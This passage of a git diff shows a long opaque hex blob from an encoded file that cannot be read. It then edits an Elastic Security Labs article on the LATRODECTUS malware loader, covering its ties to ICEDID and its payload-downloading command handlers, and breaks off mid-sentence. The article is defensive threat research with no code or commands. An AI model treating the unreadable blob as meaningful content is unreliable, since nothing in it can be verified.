6227a5e4ad0798b505d7ed324d7a811766ebdd4d5328dca90f03cc4a5f9f5c1fa998b86c096928d61c256f78715ed6e1737b3105d143567e8a09f2759b6183b9b4eafe9d785a3f76cc2bd8222dc477b979d2e53743f4258e5d7e097350d1c0f96ccdcdc5b213ed38a1c523937abbd0ae03d4337cf197276e19c9b76a4e8687dbbe36d1bec74956ac017ab92450e80d59a3b79d290d6915c1edf6a5b3cc23453402ef7612d1883231b46fe70a6d5dea085f8e335a89c572a92f8aaab59db030dbc0da6b73b25e9ed181700427b64733c11668de48e01eb384088d523fe78b6401792866712d68bb37ce772da15efc2fee8e3b53568aebe4b062033b13560924478fd7588883599d70c9a9c64c4eada525ce61686a200db77b51b011fc84edbddf359775a6f45bec15ba9647f40443304156157d4c06175b733d11cc3b02fdba86a490309ba1170b60f02f727b51874a9381056fd4bc8d31c7078c1eff3b1c283dafa17d54770b0c673adae8d049d23806c37298e9a5b43a15688db1038e7cf6bf3f142e8fe9fb000e42c02d58b757b0375f617b5b64cfa3ec11ceaea5a02c314268dcac6b511fd59641e886b1308aa470f2c0ba40184816888a4fb990217773c54ceb42e8a8cdd28fe525610a65dbc9482c67cc6c34c0dc2fae8084eb531bf8ae75ac36cae02040aa222c8d00511eb24c7d540ec58e08dd01409ca718d9c7d7f17bfd78c66f7ecc5b0e83daf37b2e92f61c56ce8c8a3d472ae831d31ff39a948dafb1b41a6a40e88043ae8c14400a4527235cfb5184e04a0706513b10b390e3860fa78486f613fd7052fd3913b42eca007a6d6e34ed0a07f85f9efe6494abdba14fb9fdb717233dcc936c52c19479f948c9826f7901d13cc885bee043aec5f5686196224a85dd0f6911feb8b20de394d057abe7070462a420fb17fe74da781c1a4d39f804aca217287e0116679dfa762f9d34babd01a50390198115976373dd5ddf8b1f15489feb03f5778b30ec57bbbcfa691e438deaec82775f6c49fff3fd9f2ed293ef315bd0de0abdffd5a92d33e86be136e84ef0b5da1136159106e23944a0c530869e805fd036bf7a02b8eea30e50321f15033ccbe0babf2dcd4c4cb16e11246410e59c671ba3e052b97c30cec7b3a6fd2f2c4ba223a70abceec065e65fac440276b4470c406273ec5a8bcbbc88524bd5c301a7389c7b4f44e47df3d7860f8953672f7da5720fc5dee9fbda52ba257a80b137795e95019ec1266dd9c5303ed89af64d295dca691b50c88aabae47372cb2d5ba60f99f2e330de912364745c4a480354a41406181e173fb1e0baeea79b86bebcda1f6559f401d07243847a725e42d1eb4ab598e4ba169813f946f1e8bba16643ffdd72aff531f78a75022dee547446d75c820f2b96d89dcc02a216486d6d61223e2d4c836c6a3d45f7811ecd0dc6d6cc46244e329dea02f08f5c5a19a040576256aff60fd7e22ed9814d5fdbb18bbb869ab1652942011ad3133dc92af1709b2f8d44c6bd543a770863d8c1a0c4fe9ca540d7e4f1573a804916bd92078922224e3d14714af33dc62bf151981197b43ee876ebeb453aac3a3b2941ff9981827d56e86f886649d92a08276d2b938d55a21a8280347f0d35effdb8f23b80d923ff64e76d678ea520dcc92efbe5fe55ea3aeefec611cb84d5a440f204ed9bf8cab66207723da4a2484e59a8d883ad47465ec3eaf37e3d559f1553ef21139fc9b5f9d1fea2fcf8d982732dfdb02c8db7abd9bdd78ee69168675e6bf8e2e112d7ea242ba435db407cec377afbbcf36cbf8ec9758eb30bd5a8e06c7eb4609fff92eb7eb79ebbe5a11a3bbed68c4e22a25b0ea5ae96eb0ac1397bf22c8d6f6807fd3510ad892c462b7a03ef96914ae72ef3805857e15d3451df5c42bad129c324684d2d6feed90ebb3693dbea187b90d3a16816d004157302a58ec8fd8c8a4a9d721f7bfc658369ae9a2a39b61d74cd958424b34ad9860bd212d27511ff0fd5670040cc5c4e01035a6e3aed41fbe1bba0679788bb2b67a3c6628ad53a0777887b3222ec06fbd914ce9503cfe96708962a4ae72b2636f316c5ec1f38c67dadda033a570be87024c061e36d89d455d934d20acde5c06256e1f9e2125d6ec6b7c5661a66889b723a3b59ce5d7f2c36a023c45750262d002c56afd9516c0dd9dc150eaae08996d8f2b7938e175fbd6f3262aa1892d64245e40b310c65d61ef66b0c422f0d39137c715eea724ec44845f4dc8a7149450a06e8d867a28c2381143905a4fcfbe35e4a155e0a3e0b7e886ef0b7cbbf7790ae7436f7a81fade9adfe6aa912ad5937beefd74e1b643ebbb958ebb7d9e472dd626a719b4cec6a6f06352396a5709bbb8b36ede72ccd8c4acf73a8de0040cb173a6020a9e58583e22229335a733aae3be2937d757acc96c757145bc559432db96e1dd112a0b6ef0817916b74141b8be5eab215b1e154860ba93f4f81a2876ee98b55fc02d7e77674fd5b0fc61438a2e468c4b82c9b2b631603699f54bcf1b8dd12904a8276f188de7f9d0641a509e6f4db165197fbe12d4303387c2e740c8918f4e522fce9091ed710c8b2ef501562443e84fab84d38646ec22d07fc0040b535c10bc57be5894d44873ca6d915e5fbb51e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a221156e3db4db17456383f45ac8f872f0545c076e8f022d7fc99ca1da0cb96c7488af07cc8927b4e3563c08c5a3991fd9e88c3873a037e91f7e26ce297cfd546166ba3221c80dd9f879a871d220b21215c1457b6eac42754084ac7d16e4488fe2bd6a721fca6bf12be36af607a7f12c52786bc010857e681aaff7ed4aceaba300fc0c718b656ef3bf2bce1d037828850976b2f01d9cbf0541371fa6d9af99a153cd8574f55c081dc3e9bd41815ac8e260f65e0a312383a96b1678f4548a0c80031df18447785f6f12e317b63eeb78f22653b9570136730e3023afba6e5c184cf2547b326f61934790505d08e5bbbbb6773e70448f3ad5293b26a89d326c469cf7798eb0b90de1c0a14bbb4381359d7930f61899605bb7acb27ccf921d0fd58b95ee04b8227a254f4e37a4432d1c60bffa41819533ad4b75b53be7fc2a50046cd80fe121d0ab5b30e2293b183c064fb694e3c06554d37b49af5a968187ea46a0be56efe01d7f803f0fbdbd6ff9f29a9557f0c87ca0c5e1d0836eae5109447d954b611f6aa9549c8fe3fd59f51b79ea0d1b1b6e917248fd659fbcbc6ba0ad1a10a685cc6feac0157c100a4d4d1ee742015f09d5a6fc45f3add42afeede72ba698e467e5456aec965b575135afab9a2b359742ba97d339a2f4219b9b08ab3a7e24cdce44fb9fab77a979765b743375408a8ece6f391205e486263697950b5dd89f48f12d1883231b46fe70a6d5dea085f8e335a89c572a92f8aaab59db030dbc0da6b6553a25aa022c0fe88cbc89ae95b5217fbe5512a14a38298d2bc07e4ff83f1cdbc3775e750d95debbffe6d641fd25fb3db87808d1dd62e0e90c7edd7c6ba9d0fc108f88a45fc541b5a4a46568e36d0c975a57400fbf58d7dd83810db3cea3396b8a79d5d5ecc64132dc7d0263dfa16cd5f6d2cf944a45841f61753e7689e1bdcc87293e4027617b870c95520dc2e43842cbba6e01ec32b4863738eec6aba9f7de2c72d21ea9b56b67d6970292dcc80260354791c83868b241928be67eaa900373c8af78f9de77005415591eb904609e421c9cae55d7a7e5ea975d3913e6238565699d3f4c1a5572781593c7afcaf707896f1c0272daec45208afff1356d1579de1669a02603b9ee64e1345e55aeb067efbb2658cf1e2b0f40c61f2b7a14125a3f8b807974f8627622521e511a6152ad09361dfcde5000abff1890781e9867d494c8b6e56fcc1db3c5230485e8b2ce9296b3fb9f5f9c268eca2b9b05dddd312241a8d6c17194abdef849521d01074191f241a2f659ae4a69fddeccb3c74f1da6dc80a03a62462fd5924a13ce6ca2fc13dd4ae8ee60f52dbdfe003d571e4e3b4882f3b67ef00a5292f91893641b9b41ee36b511fd59641e886b1308aa470f2c0ba40184816888a4fb990217773c54ceb42e8a8cdd28fe525610a65dbc9482c67cc6c34c0dc2fae8084eb531bf8ae75ac36cae02040aa222c8d00511eb24c7d540ec58e08dd01409ca718d9c7d7f17bfd788a48a075762d8cdf443be99d56f2121891dacc589d6c823788eb08fb8f974c2a8eab43dc57e0749634fac65adec2baec76722a1c71b70acd729876f7969f40d6b262c1c8e31d0ebd77a35b06da0ec3a3fdf63a05c5959726f5a6dc969cbff29f297853190b45e67b470c5e89e8bc36bf6539d9cd919c4615c2d3f6415b9f818103ec32dfa48ca11765f95f26e0e98accdb27927d953b6d9a29b5e52cf052946936b118d7ad7b15c2fd2f84bc80d0632e88accc16201b97a580744540c6ff7c92252489e91cfd5ea5d088526472757d3b9ba1170b60f02f727b51874a9381056fd4bc8d31c7078c1eff3b1c283dafa17d94d825002d5e02681d21f44d76cd840c9346d85ce3b8c5ade35f25314ef6de091260f7e4f4deb5373e0251fa1a5495421b16d42351c9f21ee43eaf70f5191736b374a3c4d49f07dcc85055923b3ede34d01a99ffecff71711397abb2559a980056409f8c0d7127bf22d4342f0f1d43cde55e8f8c0247b70284b619cde192f226b858b5c7805482ef9d34838f9c7d4c83d579c73d0c75bc9179038b1f2d78289fbaad264d61039f480655185cdc30aaee24e634b8a0e2782cc5d619fbeeb9e0ac3881263391b92aab170046c18de7ccd3e6b2010cc4f096d2be8540193da92d9e9e7cdbef14e4075e46fa50b2187dcbdbe44100d176015de37cc8ac9e5d83ad9756ac75fbd33d0531b5d0f2966e1f0f2bf1fd43972ce654b15118d1b335ee11028c5ae2bfe899ee74e7d57e4979c1576a59d818223bc642ef61fe566eae4ed1b40242ec86ad80ad6bcff83b314db56039b7d657020c95f7e6eb6cdcb2a5fb536b429f788f9618357d008c715ac94698c09918757cb533a7ea200c2a78daaf7370d3563788ff9385ddc13f828f340aba03c9c51319f5a1bc466c8d87ef795eaf39d21370d36a8ed9186b3824f4a6d0ef8e27de5f6f6534511033277e25cad1b80b62c368dcd4a92d471a44112f232397172f2c4ba223a70abceec065e65fac440276b4470c406273ec5a8bcbbc88524bd5c301a7389c7b4f44e47df3d7860f8953672f7da5720fc5dee9fbda52ba257a80b137795e95019ec1266dd9c5303ed89af64d295dca691b50c88aabae47372cb25192eb585c570fa0aec284382e12cfa5d7f1303ebde9839f9c0908865c55ff1929c50e5d6390f05b4abbfca61ceb87dd1cd4a5ddf96c2ae32c8d3af13086325ce5ecdff5b1e9ad065fd9b663af7b939701c51a3fc8a162fc31b6ef2402fe2ce70b3874d13ef92c8dd1d82cfc55cf95a8f98e5aa4796087f8ad15f88afdc8aeb494d60b2c00dcfa8732038a600f99a72b34f1178ede126685bff0cda89e0a30936ed7834c4100b3d9d0bf4af7596c4687752c4e633aff09fd65b23647dc578a66673288ac41dede433d73e74c4697df9a09e7e4e4539c0ea6d6215fbc4ed888ad463480846d313e4395c24c21ec9517f02fd4e70f75ccb3f025e81949188cad101a1d9a836f33135e1372d42c516f3679b9b3260b428e3e6cc342472bc3d9dfc2e904cbf2d8aca5d702096761f117d70e5a59c41de6388673250aaff94d68ab2166207723da4a2484e59a8d883ad47465584d4233a29a939cf796e3bfe26f588ffc86bce7c7352bdc199bd93032e7ddc4f21b707196a620f1b62216a0da9280332dc306d2eacf51e8a73f625cff66720706fd67c0c4995d136bb1e882e7368a6b98eb0b90de1c0a14bbb4381359d7930f61899605bb7acb27ccf921d0fd58b95e08ffe4c4282c968a151c041b12ec780f86532c58df2d8f541e8433ea52686622e171805bd54789da8e1b44712a3877d813e58a3bf79bc9e2d21ddffd0b04646258772f3908a758a9087774f5218624db8e58c6cae2a1f4e438f71261bc2a3a8c57beb0e2194db479c50672e396491d1717fc06625b781f55b8f1a12969e2346f0bf8fe808a632b35fda986e33f7727f62d37763af399eb18356e1d54937d3257fb10159f7c2c54ae646499cfbcafbbae080aedb90c78cc105ed254b7cedc8f40ba59887e2002463610d2dbdf3f7d9132cb56661e01d2cbba91fc2b17ec1468e2d01b847ab2067ed4a4e4efc114ea92d1013490762083c08613bb6814c1771a6f2fa5a1e4b445ea521c872b516a0eb4b21a5e59d0e430417ba1377879f266ec998c6bd7e385ad2ddf3470adbe00890ac11e5ae0417271c1bf9c0d74c87e900a5cb6708da25778031cdc59c51c44ca8c8e5b2a2bb74f9d0f20749b32a1430608cd095e709ffe0fbeb944a7d02e7c598e9d4318b71b3c763820339d88c101baa02648c2d599648ea3bf48d7692cc8573c264f59367f2c21588a5820c6b3cc1fd1bf0f2ddc293a585974ebf184f2734041d99323b04063dd73de10d5f0ad9f1aec7714bd0f542157991fbd1485860124f5553704e0e6e8366ad973a1c840fbd2d756dc78094b768ea2209cdf4121596f447b70ab0141261af31f315cc15519618d00e1d81c988fc19b2bf7068824e70a43216056bf8cbeac8d9eb86ff47dbf38f27ad54b6dc8e6f4a38f108d152e118bc584f05608d36ef59bb189cd468a7b2900d97ddc5edcd067d367b2f3b7a46284ea5bf0171b5bfc374e150be59f271e16d422773a339abb685a4ffc4d8de29715b1a52b004a4e3ee0f9746a0c51fd5e38547f3c59ad704dfd85a919df5c32894efcb997f67cdf3974e95f4ce0ff1a3d62c3107b9dcec4ff96acf646c2b77efc7e5889d0919724c067ab67c2358a46999ba662521e8fff8daed956571168a61656ce307c49989052869ea5a9836c440909c0a504d4c85ca09f203f3ec91297321bc2f8edd190ece407f25817ef2439947f6c3deb06f07c6d0acdb1ed22f3e566ddd1fcf6bf8446db5a12d98eaf6027340c4fb42a18a68b962c631d3fd2aa154b57d8ca57bbe08ef6a906531f5ab8aae3bdc85b2ddc939480d722336944847b8f127ed69606e91e92965fb3b62fe562d7bfd1edd9a6cb35312e95420d46c68ad132fe85d2a4a801a6cf5028beaf70756e0982302b13f1770e641dec77cc5ac24511bc911fa2795b8c011602c644eb91a3c5a47667c21aa18845f9f1630e992789ea0b08cf2ed61586c2a1ae360ebfee58af959a397c57009a9a2dca32ec4da92859db17d72ac3b74f3397d5a88f3954eb605d06ccc11ddda787ef49cbb9231d89607ba295589579a88cc69a9856b43ec0d830957c135216470258f8f6b2d6314c7eb3558365c5aeef31e90541ebe1512e445f5a34e6ee19cefd8f3b31d949363f420a949dce9f1233165f82f0bd2d6ab61b3cb907c0510fba07bde04a791373364220cdcde327751add297724020e007705dce63ed82f85835885bab172611f4f25c9e0343748dce9fd6fa85fc6a5dff3af3ad445f4febee708f3aaf97f7f9dc49daeb55d070a87874192d3dd7905fdb9ba446421a9a57030144a5b4dbbf605d107410f4d34a652d64c0e411c5869771e05fee8449e18c0cc15f0b51c73b0896f5cc423c4f4d94d63aab489f98ef51772a3c14dd2d81f3cd2f935f3fec88cafaa01ae71a860f4f8cedcefd109e5a0de5d2086d14d3e03b2898cdb238ad437700b1e59afdbc6f5b46df1e1ecd0eb41d748670ea3eebb338724079dc592dc29ba4c0404822350eeeb061a1a10c4490c29b61e3d918e5b4c2c527b5e4a2c3bb3b7cb51d69004162f36aadfa71463153cd84024a9a3d2ca8a265b84ca77a0ee71753a8ab2126caaf820840419c6163644b808fb914b09a5d29c34f8c7d36e6007e4282ef8a030427e22deac6bbd524d9bd590fbdb39446270cc5afde7ffb6e008b352fe4066289bea237d6e2ff3defff2e10e28254caa250f53811ced1e86b822bc1badb4904d7135cf59f3ff2a6b4d404ce5bb615fe06af29e805b101c62238e7dde19d15a0ccbab4c4e98ab3b860cc5b07be926642d0070414e2fecbe3574e486791611fb4e8329ea4e2889e1d4099be160714d6050a92b0018d29245bfe973bd2f353d1b6f775ee1e08220fc1d1a916e839720979e8b4d3a77e38b6105bd827d8e9241cd86ec79bd33950a1b9bd356382bb61932d15315f2664254629f9444747f770712f544a3fdb14cd4877283282373bb690d4db1a4f26eac1783b71f087286a5950826211284d1aa5c9f45449b963c25b2fb04ea4e9995ae5f69b099c1e5c9981a79abca8f5f041e32e83c0a0e3f202cb168109469dbbd4e64ad78824939fab1d200b164c4aa98d4f2bf759c493a24c83aed9aa1f3bab21f041e07f8950d1e88514af8cd5c7080d6cdf170020ca49b3d237d8571c3770458643b65bdd272decc31acce59f74eefd0dcfc5623381aaa27edfa87e6870c1860cd3d96d6c0a5881345d1c98d34c2d9002842d15d34a98a317fcd472c99b9ddb8639e08b3fd68ebdc75a5cd5e1a370cc2aaae950a553012a7559bc00fff18bef4d08edd1ef5224c18be6db602c0506763184e3fb096c3974657923b7c8f2354f1fe77623da113c26d3469680e261d42f9955807e691e8f3925a6df698d9f71f3d871dd8eb6ee5e919a6fbcdb89dcc0c11d7ec3e42fcc9b7ad365892df9ff03329dce942213785f2aa790a54c76bd06ce11fd66491a5de9ca0d42112f9e22da18ac6bad22225fa35897e9f19485bfc8c377aaf0aabfdbb242df4fcf8483c9ad73d4d22a29a53f98d9dfc54a1ce9fc5ac468a48193113ee536afa8dc542f39fbf060a816e668a857c292232c1fa9eb3a035971fc9433d75a240e89bbe7304410949ab1865e0b67eda074cd2f364edbdca526d736f6a35fec1febedfdccd42cadbecabb2e10a2bccd818d4f7725583c50111ddabed6f7ac6c2d2d2420e6fd40be1eca58fe049c1089cbbff655ac37aab6c30d19fb226d7b4334a283ae573418f14dce77050bc66f0d77763ffe658bbf7d31aecc596f676c7f229c785ce6c7007dd9ca8d474799ba57e9cea4fb500e096b05aeca1752e66196e7900da738abb3cd493f27d4cee13cfc8b85d5bd5b332082088e76c9e1e92a1d0b6061b5c8737a9c327a50633a09fe7669e7da01d1e2617fb2d1b562d2ff33237e56138fbfa9495d6ad1782b24e5097c440dd5ada4fbf9c7a2ac6dd4f70f181f8bb5dd5b493daaeb29cafc9dbfe6b68378aa129c10ee3e868f9ea73b295a6b12ef319db8cf996f05feb08e1d37f1ff6d91f93bacb7dfc4ef7664aafc4eba5d2eb2c2ff44d138fa8688082b4f93539acc4c843434c55572238cdb6a6edde192571a22a121f59e5527ab537e4541cc4080af560c830284e0d8af49bc6fb74885c07fbbe7f2e31f86dd847069ba816b905c3e8d60a312f83a4179a523d4b3fae7eb0f9d7f080e08208b8fcaa4e7c1f8c06ef5dc8463d1e5ec2dd4e2a8683604703724fe4db2dd040265d46db4980407caf36c700f7192fef93e974d1d7434f895c813d9776a485b88cf5d20f52d9482c07f53d6717d14804a78b0c38c897170f348cb665fa82a20271dc44b3af8a94d4b08b058c09165fb9bd12ea27ffc7142810728b5cc28a144cfbae33f96265c60c40653027ebc8b448fbcf7cca24c2a4703270e9ceafd05afcc1562684edc9e7ff0fc758c286e63769091bda2cccb916f0184fc5b2b46d3aa66c75c0358ed35cdd12f40f9cd3e3adff2dc10eb7e9a399291432a09eb1a600edd351ef7ce8173253a6d7761667c285ceeefb48cd7cb4a0006f5ec94b7d06e54f85ba4f9057a92ac7baaf91fb814952783e403525c4005bf71f875b63c87cd5662cb699ddea4c71db19d7e90e8455b38178b23085a46456ed8cc874a0a27e6daaec47a4883eef55975e90e5c48698960054a31b0cb9c5ddb4b306b89573968335860c33edfeed7d4415f30e9512c9c16d501f369a20b44f6149676f466399fdf6ac88d11b64bd7e34145434de42d373b5b421bbd31628c9d86e3fb9ea5bee5ba594d15701101a486827a23027a44e8a8b8e5631590cb0a3e9dd11c2f526b25b6bb123e4a46655c23f14c401d935f5aae9e34d123424810d6ecb109736fa946d59a7713d96fba3c4fb665037dfd89fa87aa4329cdfa7990d200f1b7570508926b4aa2a4535de595da1788c874f33fba67d36d004a805354c384bc35d1e41e8277d48528a8437cf04665972b39151ed581228dcd2ad7b6aa0ef071e0416414c4c3ea2dd2df4c34b61f6bb8ae1c8c25966c9ffafed5d6f9cb131b681f9279a9b965924c6a0ae6dfc789064a9a7041dda23f21e81ad2e14a6f5af1bef1ba1d63a9f1f175043418e82b359d1bee4b3c002d0c355243e9713be9a0b4a145cecb14c0071ae05f12e35781a561f843828ccb409f3a51112664a4ca21c448830a3d05b00e22014d4669909bc2437d180d0495ac63692c3a444c93c5ac2f085639f0c97d6f1df89341935663011beebd27a8051e0a329485006bdbab0de154134813a24aec1a3ecff10a5c465369135c0519875893e98ce4f023698b55e8182327a22bcda74177e6b50f11329e6b73166c836c85b965c7da1273753724f8deae31ff693e8a15ae48e19a4b44352af1acafa2c6e4e4bf49504fa3820da4e83038c728837f5a1a6a1911f83141e0c7e9f9d80d08bc7ca79132fab285e8c5e9d527d617a3e258f6355ff4a0d1d81edcb328c2c3786ca840c48dff02789d5965db242c1303451fdab53f1edcd9795f8ae77301dd1d7a297e1ef159ae76f6dd4d745e0bd0e211abb31e8b0d7b147849332095304c70c84e335926dd76e991f7a19d1e7ac417f3e65ae744b96dacfc1946c661e1bf68b1cfa9998700710a63367b156e837298ba951063de48ac34c1d26f0c793de92c12efc82c6d275dfdba247eea4b16f64b374a3c4d49f07dcc85055923b3ede34d01a99ffecff71711397abb2559a980056409f8c0d7127bf22d4342f0f1d43cd3c2d4a0119f50b92fdc339d6699bc3ecc2d8f9a816b60c857b198013707aa8e6a660d72c0a7e6197a6328ee97533875cc758ec2fa6b8fcee84643104b60d47366cebabf51a60c80109bde115cb416e5bf7545ffddeb88126c3426031152dceb9e00bb4d23ba29b94fdb5956954327fcef2d69d4c9f83fdba7786646b19866f7ab61c0a1ceebb92917162d1b543908c3e6eb0d3627ce9d00092482b9d972cfa76b74e4bfb83a98743bc57a3577ad5f0adda12e352cc5a932dbf4bc3c28f3c7743dc1e0903e19497554dc0e4676f7e68ef43a4048ce8dc09f689e01742e8e529a137dfc2ef2b8bb66889ef335fbee8178ace9cddc70d80b008dab78bd51f523e2e63de15f90a30cebfb268440863e2b1462468cb520e0df7eedec0efc33bf36aa753dc684cdd6a09713ec2c3043dc7fbf3a0f63ceabddf635da30bea8c25ea05099e7c467e0e1f51c1fa19ad415202298277af049bdd5ed33dee72569bd21a35e11f0e10c23deafd04fdf15fdf0f4bebaf11781d056104c13b7b33161e70cb8f00d0f2aded1a814522b83d01cdbd492d7aafdce19a3b1fcb93cc25469fe4518a7c9999bc0d5a034c99b511187c2da6ca8ea6d74e01e5c18243308c3aa31674c03f997e7fb50b76ace92500a7b4c84f5256facd196d2d535e254f6ca165fcefdfd267e0ba29194b148d879b6a0cedc7e34c3d355afaab92e363694972fe3340d70744ae6bcc02318dce84c5cb12a9d7341713b264f29febc1541ef1e3eeb4faef02ecd59ffd5940fd9c3e2755be53696d6dcb814896c6bbc70474f904a13cae88c036da9c16e77865d1753569bf5c590da0f9ec214dbd319073e59003c81ef20cd12f1e403fcf5756e26e207ae44daf9766b1b0e553ae47a1777c88b90ba62b5dbedce17e519f7cbc764168d7f15127bee5bc017e78e3a77955ddc8543fbd79cda76df6853cb3ee163421209f12ce67580c30936ff14905232eab4ad12773b5b63455f8db2e292ff3c2c791fcb4d946dd2219ccfbbb1a3ce7d61a4b3301e5790fb0f9aeb427901a1151701f0a526e2c959f0b6d04821c82dd56c5dfba60f48338404e30d011b6eb02592ecd4162a060d59e1f8d7a9a5b22134a822b77a7c3f124bfe6bf3ca83bee5a6e032a67628164f8b2ccb17e16b87f35547a4e288d73ddaf9bc232852f9d82b44520b8286963e26f1448a37fa077168ce9f427a1eef7fe382f99f553430ef4429a835233f845dc25f66a1882e97f8789f93c8ea300662bd42821244b407c65d4f261ecd36d8b72308385bfc3762b40c44b9b8ddc1c395d83760c96d028bc97e908635cc413b53c6253244d3d234d85b21eef43d0fcfb1fc4b77af1ef08b222c5b6584f80ab052e28599c9ae050aa18f21620d5f75dd1212c387adf39e2702e764f1aea6a25845e4230e469b903145f882cc7aa4f1cd7108660ea3ba2ec46908dc4e1074ad04801d47ba70e8c0d86a806231f0367e3d3e79708545f03673025713d664f365200986cef6834ef0166da669d35400bef90b26477da8177cc4821c8b21b46d8a91ac2d4e61be46762f5f7c366e4be8c4f7e18276d28af76608ce3300765230de1a501086fd408100ec1934951d881f1ce2cc58a82f4ec923a8564720b8f1ba7386a1bb688a79942bb008b11d6d644011751c940f18e7a768093d1e7eb45a85d80bcf549cce6c39e007f35b4099855a648f3cdc1a3f03d207c43edb7c99174c34fdd3e29c02feba0af478aede96d9c787327eef9f29180899f78790f405cb1f4b2b8f173c4f651b888af4df20084574c882a096f0a818fb163320be416b2707f758eda52d6f1be3b55c43864c0e1e15cb84fdaadac5f3ed6db52e558f8b1984043215312468fde3e563f27584b1436f1b76583ff8baddf06294df51d34aef6423f0acfe232b3d2155fc0737da756fdefa48c2076bb9513e4c833df9d10de53e3e4dfcbd29e46dac53bd86cfb877127ffec5039e70ac6738439a91aae0a4b01ff79acd27b039d09e7abbe02871f4ef924e67c2e5a1592dd33474683a7184e1e07e7ffd7cfc99f1c7ccf45da79bacb225375c7b0cda39ec846bab2523705265e8e6cbff620397657b5b1c43b619a456309198defd8b4d6e1b3ef4563890474df039d9e13f6f2b00e637bd718e54ca7942fcb5ba09860846a1819f73cb52acc3e6a5a0162f3817a2d87b49b483290b9ca27f066a65a0544ba3f67c1dd8bfee5d00a70d40b3c2701db9392898306b77e63e026b026e9a6e84d9cb7abfc6ab8de3d68263ff5e3623ffea8635d01e1a1a744ee79f994dae11633a8527f496f43cd731c3520c7a2dab71f8fb5aca47a678ad398249c7208a36866269949229ca14b5eb047f9178429e8894a36c3db4a47b84f916e22a364f021fbb2d4f4dc8bcad1998beec433c31f03d47e7ecbc7d6b94e322a2586882284e750050abd618d9bb55613ac937f07691111a5966e8015148c712a09d7ad8e78fdd585b18ae842ba1812c9b6c3a9469c3af8603876fd47678aaae5268e072d14b6708da25778031cdc59c51c44ca8c8ec247655d0fe374bf6542b4ba869b255ae611fabd182cb3eab3599e8e56a3ae5caec0261539230d6a1264f3b59a14b558523eb784c5a0491da2efa3509ca1cb16a09d681326d52605b6ad959b6852a44917d4748ebf2d89ba2043bc18f3b23aa1e12f3be8ae71ca3d85eea823c9659a0b2e690c8e39273a4596f467feffaac59e766575c3532b549fedc1c5f821e64df72a31384d8feba1b7ef7cb6d237c707e4525554849f8472474ce350153ad133f1b05cdaf71d7e04b067d9f86a835f31ae5d28cb516a3261c01c50d893926eabb4fe98c7bac1cb7f6025f0b5edf70ad7a75231691c8a93b9c239fe3082850bed0939ea22bc7090de89bdf306852c45d82c2e13c7e86bfad3967ecb5812319983391a5817e79aa9aaf30f6436e19de2c70dc30f255050c4b590e2d19849214678103286e6e1c8fee9a32767f008bc18436f63f2231d7e805289bfbd4ce6bbd2f143b64569a73ec0233e5f9b81c80a14e2848463d07d9abcda0b402413a47d3ef94d7e570f24cc7e5c7ff6016306a462f2fc6db05b2d46f5d5964360864e4a9c9d8e71f339cf5611a94523f8904b5bb719bbab6b12249433c3e6d7180f6b5ba975c77e88031ba908537bb9a2d79e0294addb64d3db6d139dd20bad17db03e2adf3f360c70c7ac7f0ac7fd033d511cea29ec27af33ec8776fdf79d7e963234f8b50b178d6d95fb7091e188d12addb363c6b110891b46f58fc470e18e3e69780a57d530567668bcdc739516865f90e49515ea8724c11a01e0aef2e5737267f0660904e4214e34d1e34cf860c90f702c13b3e2d7a70919bcbddaf22c978737ce964fc7f37c910af325b3af7b277bcd39b54013f7e9ca2001fcb60eb76457637cdd9a84cba8a3a5e58b185559d4ac039a8c560619c9b4206e5863329b53d976c0c68a5c7ebdc10cfaee2d815c9d69f30c613de1b0a3eedcb9ff5b0af9c20cfa4f8b4c474f871b931b2d2d06b840064e3ca9b3f0aba8a3a5e58b185559d4ac039a8c560619c9b4206e5863329b53d976c0c68a5c7ebdc10cfaee2d815c9d69f30c613de1b0a3eedcb9ff5b0af9c20cfa4f8b4c4741cf1fc09368f3371e9172c93b7208072a51f9998b699d05f4ce41a33844790b0ec10c84ae258c7b17020bcc07558aed509dc2d969223cdc7ac0308e2bd89d9b3fad6c95fca62b75574c34028522d51e949f56f25ab87b15d3512885639c91cb6a8c71c2236986e4a25da88e150d4b065f59b8886d4567fe83d615c47e0dc4b39d83f860306d53e94f624991ddf522a2b8100e409c6b12a5972582885bcb52261 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.md index 36ab692f7db35..9458e30fa6f6a 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/spring_cleaning_with_latrodectus.md @@ -18,7 +18,7 @@ tags: ## LATRODECTUS at a glance -First [discovered](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39) by Walmart researchers in October of 2023, [LATRODECTUS](https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111) is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and [ICEDID](https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary) due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a [strong link](https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice) between the network infrastructure used by both the operators of ICEDID and LATRODECTUS. +First [discovered](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39) by Walmart researchers in October of 2023, LATRODECTUS is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and [ICEDID](https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary) due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a [strong link](https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice) between the network infrastructure used by both the operators of ICEDID and LATRODECTUS. LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as [PIKABOT](https://www.elastic.co/security-labs/pikabot-i-choose-you), where the code is more lightweight and direct with a limited number of handlers. @@ -37,7 +37,7 @@ Beginning early March of 2024, Elastic Security Labs observed an increase in ema ![](/assets/images/spring-cleaning-with-latrodectus/image44.png) -With major changes in the loader space during the past year, such as the [QBOT](https://www.elastic.co/security-labs/qbot-malware-analysis) takedown and 